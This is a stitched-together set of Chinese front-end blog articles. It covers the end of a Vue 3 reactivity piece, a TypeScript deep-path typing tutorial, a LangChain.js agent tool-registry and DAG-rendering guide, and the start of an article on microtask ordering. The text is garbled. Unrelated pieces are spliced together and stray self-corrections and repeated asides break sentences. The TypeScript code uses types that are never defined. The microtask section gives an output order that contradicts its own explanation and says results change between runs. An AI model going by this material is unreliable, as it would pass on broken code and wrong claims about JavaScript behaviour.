//  基本类型不能用 reactive
const count = reactive(0) // 报错,Proxy 只能代理对象

//  基本类型用 ref
const count = ref(0) // 内部其实是 reactive({ value: 0 })

ref 本质上就是把基本类型包了一层对象,这就是为什么你要写 .value——不是 Vue 团队故意折磨你。

大数组 / 大对象的性能

响应式不是免费的。每次 get 都要执行 track,每次 set 都要 trigger。几千个属性的对象做响应式,初始化和更新都有开销。

// 大列表只读展示?别用 reactive
import { markRaw, shallowRef } from 'vue'

//  shallowRef:只有 .value 本身的替换是响应式的,内部属性不追踪
const bigList = shallowRef(fetchHugeList())

//  markRaw:标记对象永远不被代理
const rawData = markRaw(someHugeObject)

循环引用

const a = reactive({} as any)
const b = reactive({} as any)
a.b = b
b.a = a // ← 不会爆栈,因为是懒代理,访问到才代理

Vue3 的懒代理在这里救了你一命。如果是 Vue2 的全量递归,这就直接栈溢出了。


总结:响应式的通用思维模型

Vue3 的响应式不是什么独创发明,它是一个经典模式的精致实现:

拦截 → 收集 → 通知

  • 拦截:Proxy 拦截对象的读和写
  • 收集:读的时候记下"谁在读"
  • 通知:写的时候告诉所有读过的人"值变了"

这个模型不止用于 UI 框架。数据库的触发器、Excel 的公式联动、消息队列的发布订阅,底层都是这个模式。以后遇到类似的问题——"A 变了,B 要自动跟着变"——你就知道该用什么结构了:建一个依赖图,读时收集,写时触发。

最后送一句:理解响应式最好的方式不是读文档,是自己撸一遍。 200 行代码,一杯咖啡的时间,你能获得的理解比读十篇文章都多。

用 TypeScript 的 infer 搓一个类型安全的深层路径访问工具

用 TypeScript 的 infer 搓一个类型安全的深层路径访问工具

你写过 get(obj, 'a.b.c') 吗?

Lodash 的 _.get 应该是前端用得最多的工具函数之一了。好用是好用,但它返回的类型是 any。你传个 'a.b.c',TypeScript 完全不知道这条路径是不是真的存在,更不知道取出来的值是什么类型(这个说法其实不太严谨)。

import _ from 'lodash'

const config = {
  db: {
    host: 'localhost',
    port: 5432,
    pool: { max: 10, min: 2 }
  }
}

const host = _.get(config, 'db.host')
// host 的类型:any
// 你拼错成 'db.hoost' 也不会报错,运行时才炸

const max = _.get(config, 'db.pool.max')
// max 的类型:还是 any
// 你把它当 string 用,TypeScript 不拦你

这事困扰了我挺久。后来 TypeScript 4.1 加了模板字面量类型,再配合 infer 和递归条件类型,终于可以让路径访问变得类型安全了。

这篇就聊聊怎么一步步把这个工具类型搓出来。

约束路径:只允许合法路径

这一步是整个方案里最有意思的部分。要生成一个对象所有合法路径的联合类型。

type AllPaths<T, Prefix extends string = ''> =
  T extends object
    ? {
        [K in keyof T & string]:
          | `${Prefix}${K}`                              // 当前层的 key
          | AllPaths<T[K], `${Prefix}${K}.`>             // 递归下一层
      }[keyof T & string]
    : never

type ConfigPaths = AllPaths<Config>
// 'db' | 'db.host' | 'db.port' | 'db.pool' | 'db.pool.max' | 'db.pool.min'
// | 'redis' | 'redis.host' | 'redis.ttl'

这个类型做的事情:遍历对象的每一层,把所有可能的路径拼成字符串字面量的联合类型。

现在改造一下 deepGet

function deepGet<T, P extends AllPaths<T> & string>(
  obj: T,
  path: P
): DeepGet<T, P> {
  return path.split('.').reduce((acc: any, key) => acc?.[key], obj) as any
}

deepGet(config, 'db.host')       //  正常
deepGet(config, 'db.pool.max')   //  正常
deepGet(config, 'db.hoost')      //  编译报错!'db.hoost' 不在合法路径里

写错路径直接标红。编辑器自动补全也能用了——输入 'db.' 会提示 hostportpool

这体验比 Lodash 的 _.get 好太多了。

处理数组和可选属性

上面的版本遇到数组就歇菜了。真实业务里对象嵌数组太常见了,得处理。

type Config2 = {
  servers: Array<{
    host: string
    port: number
    tags: string[]
  }>
  metadata?: {
    version: string
  }
}

数组怎么办?一般有两种思路:

思路一:用 [number] 语法表示数组索引

路径写成 'servers.[number].host',类型层面识别 [number] 并取数组元素类型。

type DeepGetV2<T, P extends string> =
  P extends `${infer Key}.${infer Rest}`
    ? Key extends keyof T
      ? DeepGetV2<T[Key], Rest>
      : Key extends `[number]`                    // 命中 [number]
        ? T extends Array<infer Item>             // T 是数组吗?
          ? DeepGetV2<Item, Rest>                 // 是 → 取元素类型继续递归
          : never
        : never
    : P extends keyof T
      ? T[P]
      : P extends `[number]`
        ? T extends Array<infer Item> ? Item : never
        : never

思路二:自动穿透数组

遇到数组类型自动取元素,路径里不用写 [number]。路径写 'servers.host' 就能拿到 string

我个人更倾向思路一。虽然写起来啰嗦点,但语义更明确——你一眼就知道这里穿过了一个数组。思路二在类型层面倒是简洁,但读代码的人可能会困惑:servers 明明是个数组,怎么直接 .host 了?

可选属性的处理相对简单,DeepGet 递归下去自然会带上 undefined

type Config3 = {
  metadata?: { version: string }
}

type V = DeepGet<Config3, 'metadata.version'>
// string | undefined (因为 metadata 可能不存在)

这里 TypeScript 的行为其实符合直觉,不用额外处理。

AllPaths 的性能问题

AllPaths 有个坑:对象属性越多、嵌套越深,生成的联合类型就越庞大。

假设一个对象每层 10 个属性,嵌套 4 层。AllPaths 生成的路径数量大概是 10 + 10×10 + 10×10×10 + 10×10×10×10 ≈ 11110 个字符串字面量。TypeScript 编译器处理这么大的联合类型,编辑器会明显卡顿。

之前在一个项目里给一个比较大的配置对象加了 AllPaths 约束——先别急着反驳,VSCode 的 TS Server 直接转圈了好几秒。后来只好妥协,只对核心配置做路径约束,其他的还是用 string

几个缓解思路:

// 1. 限制递归深度,只生成前 N 层的路径
type ShallowPaths<T, Depth extends any[] = []> =
  Depth['length'] extends 3 ? never :  // 只展开 3 层
  T extends object
    ? { [K in keyof T & string]:
        | K
        | `${K}.${ShallowPaths<T[K], [...Depth, any]>}`
      }[keyof T & string]
    : never

// 2. 拆分类型,对子树单独约束
// 不要 AllPaths<WholeConfig>,而是 AllPaths<Config['db']>
function getDbConfig<P extends AllPaths<Config['db']>>(path: P) {
  return deepGet(config.db, path)
}

说实话这块没有完美方案。类型安全和编译性能之间得做取舍。

聊到这

infer + 模板字面量类型 + 递归条件类型,这三个东西组合起来能做的事情比想象中多很多。路径访问只是其中一个典型应用。

不过也别上头。也行。类型体操写得越复杂,维护成本越高。一个新人看到五六层嵌套的条件类型,大概率直接懵。我的经验是:工具类型可以复杂,但暴露给使用者的 API 要简单。把复杂度藏在工具类型内部,让调用方只需要写 deepGet(obj, 'a.b.c') 就够了。

好吧这个问题比我想的复杂。

还有一点,TypeScript 的类型系统本身是图灵完备的,理论上啥都能算。但"能做"和"该做"是两回事。等等,其实"和"该做"是两回事。如果一个类型写了超过 20 行,先想想是不是设计上能简化。

基于 LangChain.js 的前端 Agent 工作流编排:Tool 注册、思维链可视化与多步推理的实时 DAG 渲染

基于 LangChain.js 的前端 Agent 工作流编排:Tool 注册、思维链可视化与多步推理的实时 DAG 渲染

AgentExecutor.invoke() 那个 Promise resolve 的时候,你用户已经对着空白页发了 40 秒呆。

这不是性能问题。这是产品层面的硬伤——LLM Agent 做推理天生就慢,一个中等复杂度的任务跑个 3 到 5 轮 tool.call() 很正常,每轮都要等模型吐完 token、解析结构化输出、跑一下外部调用、再把结果塞回 messages 数组喂回去,整条链路跑下来十几秒起步,你要是把这些全藏在一个 loading spinner 后面,用户的耐心大概撑不过第二轮。所以真正要解决的问题不是"怎么让 Agent 跑起来",是怎么把它边跑边想的过程实时地、结构化地渲染出来(当然这是理想情况)。

Tool 选择、参数组装、中间结果、重试决策。全得摊开给用户看。说白了嘛,就是给 LLM 的"内心戏"搭一个可视化的舞台,让用户知道它不是卡死了而是真的在干活。跑通一个 demo 不难,难的是这套东西在生产环境里不崩——两个字概括就是"耐操"。

用户输入
  ↓
LLM 决策(选 Tool + 生成参数)
  ↓                    ↓
Tool A 执行         Tool B 执行(并行)
  ↓                    ↓
结果合并 → LLM 再决策
               ↓
          Tool C 执行
               ↓
          最终输出

这个流程画出来像个 DAG。但运行时它是动态生长的——你在第一步根本不知道后面会长出几个分支,也不知道哪个 Tool 会超时、哪个会返回意料之外的格式让 LLM 的 JSON.parse 直接炸掉。这篇文章围绕这个矛盾展开:怎么设计一套前端架构让 Tool 可插拔注册、思维链状态可追踪、DAG 可实时渲染,同时不把代码写成一坨谁都不想维护的东西。

Tool 注册机制:别让你的 Agent 变成一个巨型 switch-case

先上问题。LangChain.js 里注册 Tool 的标准姿势大概长这样:

import { DynamicStructuredTool } from '@langchain/core/tools'
import { z } from 'zod'

const searchTool = new DynamicStructuredTool({
  name: 'web_search',
  description: '搜索互联网获取实时信息',
  schema: z.object({
    query: z.string().describe('搜索关键词'),
    maxResults: z.number().optional().default(5),
  }),
  func: async ({ query, maxResults }) => {
    const res = await fetch(`/api/search?q=${encodeURIComponent(query)}&limit=${maxResults}`)
    const data = await res.json()
    return JSON.stringify(data.results.slice(0, maxResults))
  },
})

一个 Tool 写成这样没问题。三个也凑合。十五个呢?

真实项目里 Agent 要调的 Tool 很容易膨胀到两位数——搜索、计算、db.query()、文件读写、外部 REST API 调用、沙箱代码执行——每一个都有自己的 schema 定义、错误处理逻辑、重试策略、权限校验规则,你要是把它们全塞在一个文件里就会得到一个 800 行的 tools.ts,三个月后没人敢碰这玩意。

需要 registry 模式。

// tool-registry.ts
// 核心思路:Tool 自己知道自己是谁,registry 只负责收集和分发

type ToolMeta = {
  category: 'search' | 'compute' | 'io' | 'external'
  requiresAuth: boolean
  timeout: number  // 毫秒,超时直接 abort
  retryable: boolean
}

class ToolRegistry {
  private tools = new Map<string, DynamicStructuredTool>()
  private meta = new Map<string, ToolMeta>()

  register(tool: DynamicStructuredTool, meta: ToolMeta) {
    if (this.tools.has(tool.name)) {
      // 同名 Tool 重复注册,直接炸——这种 bug 越早发现越好
      throw new Error(`Tool "${tool.name}" already registered`)
    }
    this.tools.set(tool.name, tool)
    this.meta.set(tool.name, meta)
  }

  getTools(filter?: { category?: ToolMeta['category'] }): DynamicStructuredTool[] {
    let entries = [...this.tools.entries()]
    if (filter?.category) {
      entries = entries.filter(([name]) => 
        this.meta.get(name)?.category === filter.category
      )
    }
    return entries.map(([, tool]) => tool)
  }

  getMeta(name: string): ToolMeta | undefined {
    return this.meta.get(name)
  }
}

export const registry = new ToolRegistry()

然后每个 Tool 自己单独一个文件,文件末尾做自注册,import 的副作用就是把自己挂到 registry 上:

// tools/web-search.ts
import { registry } from '../tool-registry'

const tool = new DynamicStructuredTool({
  name: 'web_search',
  description: '搜索互联网获取实时信息',
  schema: z.object({ query: z.string() }),
  func: async ({ query }) => {
    // ...实际逻辑
  },
})

registry.register(tool, {
  category: 'search',
  requiresAuth: false,
  timeout: 10000,
  retryable: true,
})

这个模式有个隐含的坑。

const toolModules = import.meta.glob('./tools/*.ts', { eager: true })
// eager: true → 同步加载,确保注册发生在 Agent 创建之前
// 不需要用返回值,import 的副作用已经完成注册

静态注册搞定了。

但跑起来还有一层:Tool 执行过程中的生命周期钩子。你需要知道一个 Tool 什么时候开始执行、什么时候结束、返回了什么、报错了没有——这些信息不只是后面思维链可视化的数据源,它就是思维链本身的骨架,没有这些事件流你后面画个锤子的 DAG。

嗯,继续。

LangChain.js 原生提供了 callbacks 机制来做这事。但它的回调设计——怎么说呢——有点"Java 味儿",handleToolStarthandleToolEndhandleToolError 一堆方法签名糊你脸上,参数类型还经常对不上文档(虽然这个设计我觉得有点奇怪,明明 TypeScript 项目为什么类型定义这么随意)。我的做法是在 registry 层包一层代理把 Tool 的 func 拦截掉:

// 在 ToolRegistry.register 方法内部
register(tool: DynamicStructuredTool, meta: ToolMeta) {
  const originalFunc = tool.func.bind(tool)

  const wrappedFunc = async (input: any, runManager?: any) => {
    const startTime = Date.now()
    const executionId = crypto.randomUUID()

    this.emit('tool:start', { 
      executionId, 
      toolName: tool.name, 
      input, 
      timestamp: startTime 
    })

    try {
      const result = await Promise.race([
        originalFunc(input, runManager),
        new Promise((_, reject) => 
          setTimeout(() => reject(new Error(`Tool ${tool.name} timeout`)), meta.timeout)
        ),
      ])

      this.emit('tool:end', { 
        executionId, 
        toolName: tool.name, 
        result, 
        duration: Date.now() - startTime 
      })
      return result
    } catch (err) {
      this.emit('tool:error', { 
        executionId, 
        toolName: tool.name, 
        error: err, 
        duration: Date.now() - startTime,
        retryable: meta.retryable,
      })
      throw err
    }
  }

  ;(tool as any).func = wrappedFunc
  this.tools.set(tool.name, tool)
  this.meta.set(tool.name, meta)
}

这段代码有个细节值得停一下。Promise.race 里塞 setTimeout 做超时兜底这个套路很常见,但用在 LangChain Tool 里有一个陷阱——timeout reject 之后原始的 fetch 或者数据库查询其实还在跑着呢。你的 Agent 已经收到报错往下走了,后台还挂着一个请求在那耗资源。前端并发高这个说法本身就有点奇怪对吧?一个用户一次也就跑一个 Agent。但你仔细想——如果 Agent 支持并行 Tool 调用,同时起 3、4 个 fetch,再叠上用户可能开了好几个对话 tab 每个 tab 都在跑,这个泄漏就不是理论问题了,AbortController 是正解但 DynamicStructuredTool 不方便把 AbortSignal 传进 func 里,得自己在闭包里存一个,写出来不好看,先欠着。

嗯,继续。

真正让 registry 模式值回票价的是动态 Tool 集,不同用户角色、不同对话场景,Agent 能调的 Tool 不一样。管理员能用 db_query,普通用户碰都别碰(虽然官方文档不是这么说的)。哦不,准确说是用 db_query,普通用户碰都别碰(虽然官方文档不是这么说的)。处理代码问题时加载 code_executor,闲聊天的时候不需要。

function getToolsForContext(user: User, conversationType: string) {
  const tools = registry.getTools()

  return tools.filter(tool => {
    const meta = registry.getMeta(tool.name)!
    if (meta.requiresAuth && !user.permissions.includes(tool.name)) {
      return false
    }
    if (conversationType === 'casual' && meta.category === 'compute') {
      return false
    }
    return true
  })
}

const agent = await createOpenAIFunctionsAgent({
  llm,
  tools: getToolsForContext(currentUser, 'technical'),
  prompt,
})

这段 filter 看着朴素,本质上是把 Tool 的注册和使用解耦了。

不过话说回来。这套 registry 最大的受益者不是运行时(虽然官方文档不是这么说的)。是后面的 DAG 渲染,因为 tool:starttool:end 这些事件流出来了,思维链的数据源就有了。

思维链状态管理:把 LLM 的内心戏变成一棵可追踪的树

AgentExecutor 跑起来之后内部在干嘛?

就是一个循环:

while (true) {
  1. 把当前 messages 数组发给 LLM
  2. LLM 返回:要调 Tool(哪个 Tool 什么参数)或者直接吐最终答案
  3. 最终答案 → break
  4. Tool 调用 → 执行 → 结果塞回 messages → 回到 1
}

循环每转一圈就是思维链上一个节点。问题在于 LangChain 的 callbacks 能告诉你这些事件发生了,但它不给你一个结构化的状态对象来表达整条链的拓扑关系——你拿到的是一堆散装事件,得自己攒成一棵树。

一开始设计太复杂了后来砍了又砍,砍到不能再砍:(数据结构。踩了几次坑之后收敛出来的版本)

type ThinkingNodeType = 'llm_call' | 'tool_call' | 'tool_result' | 'final_answer' | 'error'

type ThinkingNodeStatus = 'pending' | 'running' | 'completed' | 'failed'

interface ThinkingNode {
  id: string
  type: ThinkingNodeType
  status: ThinkingNodeStatus
  parentId: string | null
  label: string
  data: Record<string, any>
  startedAt: number
  completedAt: number | null
  children: string[]
  streamTokens?: string[]
}

interface ThinkingChain {
  sessionId: string
  rootId: string
  nodes: Map<string, ThinkingNode>
  currentNodeId: string | null
}

ThinkingNodeparentIdchildren 形成树结构。等下——不是说好了 DAG 吗?对,理论上如果两个 Tool 的结果同时喂给下一轮 LLM 决策那确实是 DAG 不是树。但在 LangChain.js 目前的 AgentExecutor 实现里(注意我说的是 AgentExecutor 不是 langgraph)并行 Tool 调用的结果最终还是拼成一条消息喂回去的,所以中间状态用树来建模够用了,真要严格 DAG 后面单独讲。

管理器,维护这棵树同时对接 LangChain 的 callback 体系:

class ThinkingChainManager {
  private chain: ThinkingChain
  private listeners = new Set<(chain: ThinkingChain) => void>()

  constructor(sessionId: string) {
    const rootId = crypto.randomUUID()
    this.chain = {
      sessionId,
      rootId,
      nodes: new Map(),
      currentNodeId: null,
    }
  }

  addNode(
    type: ThinkingNodeType,
    label: string,
    parentId: string | null,
    data: Record<string, any> = {}
  ): string {
    const id = crypto.randomUUID()
    const node: ThinkingNode = {
      id, type, status: 'pending', parentId, label, data,
      startedAt: Date.now(), completedAt: null, children: [],
    }

    this.chain.nodes.set(id, node)

    if (parentId && this.chain.nodes.has(parentId)) {
      this.chain.nodes.get(parentId)!.children.push(id)
    }

    this.notify()
    return id
  }

  updateStatus(nodeId: string, status: ThinkingNodeStatus) {
    const node = this.chain.nodes.get(nodeId)
    if (!node) return
    node.status = status
    if (status === 'completed' || status === 'failed') {
      node.completedAt = Date.now()
    }
    if (status === 'running') {
      this.chain.currentNodeId = nodeId
    }
    this.notify()
  }

  appendStreamToken(nodeId: string, token: string) {
    const node = this.chain.nodes.get(nodeId)
    if (!node) return
    if (!node.streamTokens) node.streamTokens = []
    node.streamTokens.push(token)
    // 这里刻意不调 notify()
  }

  subscribe(listener: (chain: ThinkingChain) => void) {
    this.listeners.add(listener)
    return () => this.listeners.delete(listener)
  }

  private notify() {
    this.listeners.forEach(fn => fn(this.chain))
  }

  getSnapshot(): ThinkingChain {
    return this.chain
  }
}

为什么 appendStreamToken 不触发 notify()

因为 GPT-4 和 Claude 吐 token 的速度大概每秒 30 到 80 个,短 token 飞起来的时候能到 100 以上——如果每个 token 都触发一次 React re-render 你的 UI 线程会直接卡成幻灯片放映。正确做法是在消费端 throttle,用 requestAnimationFrame 一帧刷一次就够了:

useEffect(() => {
  const unsub = chainManager.subscribe(chain => {
    setDisplayChain(structuredClone(chain))
  })

  let rafId: number
  const tickStream = () => {
    setDisplayChain(structuredClone(chainManager.getSnapshot()))
    rafId = requestAnimationFrame(tickStream)
  }
  rafId = requestAnimationFrame(tickStream)

  return () => {
    unsub()
    cancelAnimationFrame(rafId)
  }
}, [chainManager])

structuredClone 在这里是有点奢侈的。节点多的时候每帧 clone 一次整棵树开销不小(虽然说实话 20 个节点的对象 clone 一次也就微秒级别),更好的做法是上 immer 维护 immutable 结构,但过早优化不如先跑通再说。

写到这里突然觉得之前说的不太对。

接着要把 ThinkingChainManager 和 LangChain 的 callback 对接。继承 BaseCallbackHandler 重写一堆 handle* 方法:

import { BaseCallbackHandler } from '@langchain/core/callbacks/base'

class ThinkingChainCallbackHandler extends BaseCallbackHandler {
  name = 'ThinkingChainHandler'
  private manager: ThinkingChainManager
  private runNodeMap = new Map<string, string>()
  private currentLlmNodeId: string | null = null

  constructor(manager: ThinkingChainManager) {
    super()
    this.manager = manager
  }

  async handleLLMStart(llm: any, prompts: string[], runId: string) {
    const parentId = this.getParentNodeId()
    const nodeId = this.manager.addNode(
      'llm_call',
      '正在思考...',
      parentId,
      { model: llm?.modelName || 'unknown' }
    )
    this.runNodeMap.set(runId, nodeId)
    this.currentLlmNodeId = nodeId
    this.manager.updateStatus(nodeId, 'running')
  }

  async handleLLMNewToken(token: string) {
    if (this.currentLlmNodeId) {
      this.manager.appendStreamToken(this.currentLlmNodeId, token)
    }
  }

  async handleLLMEnd(output: any, runId: string) {
    const nodeId = this.runNodeMap.get(runId)
    if (nodeId) {
      this.manager.updateStatus(nodeId, 'completed')
    }
    this.currentLlmNodeId = null
  }

  async handleToolStart(tool: any, input: string, runId: string) {
    const parentId = this.currentLlmNodeId || this.getParentNodeId()
    const nodeId = this.manager.addNode(
      'tool_call',
      `调用 ${tool.name || 'Tool'}`,
      parentId,
      { toolName: tool.name, input: JSON.parse(input || '{}') }
    )
    this.runNodeMap.set(runId, nodeId)
    this.manager.updateStatus(nodeId, 'running')
  }

  async handleToolEnd(output: string, runId: string) {
    const nodeId = this.runNodeMap.get(runId)
    if (!nodeId) return

    const resultNodeId = this.manager.addNode(
      'tool_result',
      '结果返回',
      nodeId,
      { output: output.slice(0, 500) }
    )
    this.manager.updateStatus(resultNodeId, 'completed')
    this.manager.updateStatus(nodeId, 'completed')
  }

  async handleToolError(err: any, runId: string) {
    const nodeId = this.runNodeMap.get(runId)
    if (nodeId) {
      this.manager.updateStatus(nodeId, 'failed')
      this.manager.addNode('error', `错误: ${err.message}`, nodeId, { error: err })
    }
  }

  private getParentNodeId(): string | null {
    return this.manager.getSnapshot().currentNodeId
  }
}

这段 handler 有一个 LangChain 做得不好的地方——handleToolStart 的第二个参数 inputstring 不是结构化对象,你得自己 JSON.parse,而且它有时候给你的不是合法 JSON。不是 bug。是"特性"。(我已经在 GitHub issue 里看到过不下十个人吐槽这个事了,官方一直没改。)

串起来。启动代码:

const chainManager = new ThinkingChainManager(sessionId)
const callbackHandler = new ThinkingChainCallbackHandler(chainManager)

const executor = AgentExecutor.fromAgentAndTools({
  agent,
  tools: getToolsForContext(currentUser, conversationType),
  callbacks: [callbackHandler],
  // streaming 这个配置名字叫 streaming
  // 但实际控制的是 callback 的粒度——不开的话 handleLLMNewToken 不触发
})

registry.on('tool:start', (event) => {
  // 补充 meta 信息:预期耗时、是否可重试之类的
})

到这一步思维链的数据流就通了,每一步推理每一次 Tool 调用都会在 ThinkingChainManager 里生成对应节点。

拉回来讲渲染。

DAG 渲染:把动态生长的图画到屏幕上

这是整个方案里最容易做出来、也最容易做烂的部分。

先明确一下要渲染什么:

[用户提问][LLM 思考 #1] ──→ [调用 web_search("天气")] ──→ [结果: 晴 25°C]
    ↓                                                    ↓
[LLM 思考 #2] ←──────────────────────────────────────────┘
    ↓
    ├──→ [调用 calculator("25 * 9/5 + 32")] ──→ [结果: 77°F]
    │
    └──→ [调用 translator("晴", "en")] ──→ [结果: "Sunny"]
              ↓                                    ↓
[LLM 思考 #3] ←──────────────────────────────────┘
    ↓
[最终回答: "今天天气晴朗,25°C (77°F)"]

节点类型不统一,有 llm_calltool_calltool_resultfinal_answer。连边方向单一但有并行分支。整个图是边跑边长的——这很要命。

用什么库?

核心挑战不在渲染。在布局算法。

每次新增节点整个图的布局可能要重算,如果用 dagre 做自动布局(react-flow 文档推荐的方式),每次 addNode 就重新算一遍所有节点的 x/y 坐标——已有节点位置会跳。用户正盯着某个节点看呢突然它蹦到另一个位置去了。体验极差。

我的方案是增量布局。新节点根据父节点位置做相对定位,已有节点纹丝不动:

import { useCallback, useRef } from 'react'

const LAYOUT = {
  nodeWidth: 240,
  nodeHeight: 80,
  horizontalGap: 60,
  verticalGap: 100,
} as const

function useIncrementalLayout() {
  const positionCache = useRef(new Map<string, { x: number; y: number }>())
  const depthCounters = useRef(new Map<number, number>())

  const getNodePosition = useCallback((
    nodeId: string,
    parentId: string | null,
    depth: number
  ): { x: number; y: number } => {
    if (positionCache.current.has(nodeId)) {
      return positionCache.current.get(nodeId)!
    }

    const currentCount = depthCounters.current.get(depth) || 0
    depthCounters.current.set(depth, currentCount + 1)

    let x: number, y: number

    if (!parentId) {
      x = 400
      y = 50
    } else {
      const parentPos = positionCache.current.get(parentId)
      if (parentPos) {
        x = parentPos.x + (currentCount * (LAYOUT.nodeWidth + LAYOUT.horizontalGap))
        y = parentPos.y + LAYOUT.verticalGap
        
        const siblings = currentCount
        if (siblings > 0) {
          x = parentPos.x + ((siblings - 0.5) * (LAYOUT.nodeWidth + LAYOUT.horizontalGap) / 2)
        }
      } else {
        x = currentCount * (LAYOUT.nodeWidth + LAYOUT.horizontalGap)
        y = depth * LAYOUT.verticalGap
      }
    }

    const pos = { x, y }
    positionCache.current.set(nodeId, pos)
    return pos
  }, [])

  return { getNodePosition }
}

坦白讲这段布局代码写得有点糙。并行分支水平展开的算法不太对,三个以上并行 Tool 的时候节点会挤成一坨——但 80% 的场景够用。再说吧。完美的 DAG 布局是一个学术级问题,Sugiyama 算法那一套你真去实现要写好几百行,在这个业务场景下追求完美属于浪费生命。你的用户关心的是"Agent 在干嘛""到第几步了""哪步挂了",不是这图的 margin 对不对称。

自定义节点组件,根据 ThinkingNodeType 渲染不同样式:

function ThinkingNodeComponent({ data }: { data: ThinkingNode }) {
  const statusColor = {
    pending: '#94a3b8',
    running: '#3b82f6',
    completed: '#22c55e',
    failed: '#ef4444',
  }[data.status]

  return (
    <div 
      className={`thinking-node thinking-node--${data.type}`}
      style={{ borderLeftColor: statusColor, borderLeftWidth: 4 }}
    >
      <div className="thinking-node__header">
        <span className="thinking-node__icon">{getIcon(data.type)}</span>
        <span>{data.label}</span>
        {data.status === 'running' && <PulseIndicator />}
      </div>
      
      {data.streamTokens && data.status === 'running' && (
        <div className="thinking-node__stream">
          {data.streamTokens.join('')}
          <BlinkingCursor />
        </div>
      )}
      
      {data.type === 'tool_call' && data.data.input && (
        <Collapsible title="参数">
          <pre>{JSON.stringify(data.data.input, null, 2)}</pre>
        </Collapsible>
      )}
      
      {data.type === 'tool_result' && (
        <Collapsible title="结果">
          <pre>{data.data.output}</pre>
        </Collapsible>
      )}
    </div>
  )
}

ThinkingChain 转成 @xyflow/react 要的 nodesedges 数组——BFS 遍历顺便算深度:

function chainToFlowElements(
  chain: ThinkingChain,
  getPosition: (id: string, parentId: string | null, depth: number) => { x: number; y: number }
) {
  const nodes: Node[] = []
  const edges: Edge[] = []

  const queue: Array<{ nodeId: string; depth: number }> = []
  const visited = new Set<string>()

  for (const [id, node] of chain.nodes) {
    if (!node.parentId) {
      queue.push({ nodeId: id, depth: 0 })
    }
  }

  while (queue.length > 0) {
    const { nodeId, depth } = queue.shift()!
    if (visited.has(nodeId)) continue
    visited.add(nodeId)

    const thinkingNode = chain.nodes.get(nodeId)!
    const position = getPosition(nodeId, thinkingNode.parentId, depth)

    nodes.push({
      id: nodeId,
      type: 'thinkingNode',
      position,
      data: thinkingNode,
    })

    if (thinkingNode.parentId) {
      edges.push({
        id: `${thinkingNode.parentId}-${nodeId}`,
        source: thinkingNode.parentId,
        target: nodeId,
        animated: thinkingNode.status === 'running',
        style: { stroke: thinkingNode.status === 'failed' ? '#ef4444' : '#64748b' },
      })
    }

    for (const childId of thinkingNode.children) {
      queue.push({ nodeId: childId, depth: depth + 1 })
    }
  }

  return { nodes, edges }
}

最终 React 组件:

function AgentDAGViewer({ chainManager }: { chainManager: ThinkingChainManager }) {
  const [chain, setChain] = useState<ThinkingChain | null>(null)
  const { getNodePosition } = useIncrementalLayout()

  useEffect(() => {
    return chainManager.subscribe(newChain => {
      setChain(structuredClone(newChain))
    })
  }, [chainManager])

  const { nodes, edges } = useMemo(() => {
    if (!chain) return { nodes: [], edges: [] }
    return chainToFlowElements(chain, getNodePosition)
  }, [chain, getNodePosition])

  const reactFlowInstance = useReactFlow()
  useEffect(() => {
    if (chain?.currentNodeId) {
      const pos = getNodePosition(chain.currentNodeId, null, 0)
      reactFlowInstance.setCenter(pos.x, pos.y, { duration: 300, zoom: 1 })
    }
  }, [chain?.currentNodeId])

  return (
    <ReactFlow
      nodes={nodes}
      edges={edges}
      nodeTypes={{ thinkingNode: ThinkingNodeComponent }}
      fitView={false}
      panOnDrag
      zoomOnScroll
      minZoom={0.3}
      maxZoom={1.5}
    >
      <Background />
      <Controls />
    </ReactFlow>
  )
}

踩坑提醒:useReactFlow() 必须在 <ReactFlowProvider> 内部调用否则直接报错,而且这个 Provider 不能和 <ReactFlow> 在同一个组件里——得包在外面一层,文档里写了但不显眼,十个人里九个半会踩这个。

设计权衡和边界

langgraph 还是 AgentExecutor?绕不开的选择。

LangChain 团队自己都在推 langgraph 作为 Agent 编排的下一代方案,AgentExecutor 某种意义上已经进维护模式了。langgraph 原生就是图结构——StateGraph 加节点加边——天然比 AgentExecutor 那个 while 循环模型更贴合 DAG 可视化的需求:

import { StateGraph } from '@langchain/langgraph'

const workflow = new StateGraph({ channels: agentState })
  .addNode('agent', callModel)
  .addNode('tools', callTools)
  .addEdge('__start__', 'agent')
  .addConditionalEdges('agent', shouldContinue, {
    continue: 'tools',
    end: '__end__',
  })
  .addEdge('tools', 'agent')

const app = workflow.compile()

langgraph 也不是万能药,它的学习曲线比 AgentExecutor 陡不少——StateGraphchannelsconditional edgescheckpointer 一堆新概念砸过来,而且 JS 版本目前功能比 Python 版少了一截。如果你的场景就是一个简单的 ReAct 循环,AgentExecutor 配上前面那套 callback 机制已经够使了,别为了架构上的"正确性"引入不必要的复杂度。能跑。够了。

性能方面最大的瓶颈根本不在前端渲染。

状态持久化这块,ThinkingChainManager 的数据目前纯内存,location.reload() 一下就全没了。如果需要回放历史对话的推理过程——企业场景里这个需求挺常见,审计合规什么的——得把整个 ThinkingChain 序列化存后端,每个事件带 timestamp,回放时按时间戳重新 replay。这块展开讲又是一整篇文章的体量了。

跑了大半年生产环境,这套方案最大的教训就一句话:别想一步到位。ThinkingNodetype 枚举我改了四版,ToolMeta 的结构加了三次字段,DAG 布局算法换过两种方案。先用 AgentExecutor 加最基础的 callback 加一个简单的列表式渲染跑通,确认产品方向没问题了再逐步往上堆 DAG 可视化、增量布局、流式 token 这些花活。想等一步到位只会等出个寂寞来。

从一个 `console.log` 顺序翻车说起,聊聊微任务那些糟心事

从一个 console.log 顺序翻车说起,聊聊微任务那些糟心事

Promise.resolve().then(() => console.log('promise'))
queueMicrotask(() => console.log('microtask'))

const observer = new MutationObserver(() => console.log('mutation'))
const node = document.createTextNode('')
observer.observe(node, { characterData: true })
node.data = '1'

console.log('sync')

你猜输出啥?sync 先出来,没毛病,同步代码嘛。然后 promisemicrotaskmutation——这个等下再说,对吧?跑一下 Chrome。

没问题。

再跑一次。

sync
mutation
promise
microtask

坏了。MutationObserver 跑前面去了,你写代码的顺序根本不算数,入队时机才是爹。

同一个队列,不同的入队姿势

讲道理,我翻过不少事件循环的文章,十篇有八篇把 Promise.thenqueueMicrotaskMutationObserver 往"微任务"这个筐里一扔就完事了,说它们优先级一样。对吗?对。有用吗?没用。优先级一样但入队时机天差地别,最终谁先跑完全是另一码事。

